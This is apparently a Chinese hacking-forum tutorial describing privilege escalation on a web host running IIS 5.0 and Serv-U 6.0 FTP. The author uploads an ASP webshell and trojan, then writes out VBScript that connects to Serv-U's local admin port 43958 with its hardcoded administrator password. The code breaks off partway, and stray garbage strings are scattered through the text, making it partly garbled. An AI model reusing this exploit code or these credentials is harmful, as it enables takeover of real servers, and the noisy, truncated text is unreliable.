Serv-U 6.0提权新招
前几天,朋友买了一个收费的主页空间,把FTP账号和密码给了我,让我看看安全性如何。老规矩,先用X-Scan扫描,只开了80,21端口,用的是IIS5.0和 Serv-U 6.0,用FTP传个ASP木马上去,FSO开着,可是C、D、E、F没有权限,看都看不了。看来这个管理员是安全意识不错,在网站根目录传个自制木马上去,成功保存在d:\web\wwwroot\webss\muma.exe,可惜执行失败,在ASP木马上了看,原来是关了Wscript.shell权限。 ^FtM%{w4b看来别的地方是动不了了,只好试试Serv-U 6.0提升权限了。问题也来了,臭要饭写的提升权限程序只能在本地提升权限,而我在服务器上有没有执行权,传上去也没有用,看来此路不通。
在服务器上转了几圈,没有发现什么可以利用漏洞,看来还是要靠Serv-U,在硬盘里找了找,远程溢出的程序全失败了……突然,我想到Serv-U 6.0本地提权的本质是在本地连43958端口,那我是不是可以在WebShell里用MSWinsock.Winsock连接呢?只要用账户“localadministrator”,密码“#|@$ak#.|k;0@p”就可以连上去了吧?于是我上网找了找,可惜没有发现这种代码,只好自己写了: ;A0XTa.e
dim revdata n G Y)?2I?;n
dim sendata
set sock=createobject("MSWinsock.Winsock") m4e z,T/{&@
sock.Protocol=0 (用TCP)
sock.Connect "127.0.0.1",43958
sendata="LocalAdministrator" & chr(10) & chr(13) *vg+T(_} Yc
sock.senddata sendata
sendata="#|@$ak#.|k;0@p" & chr(10) & chr(13)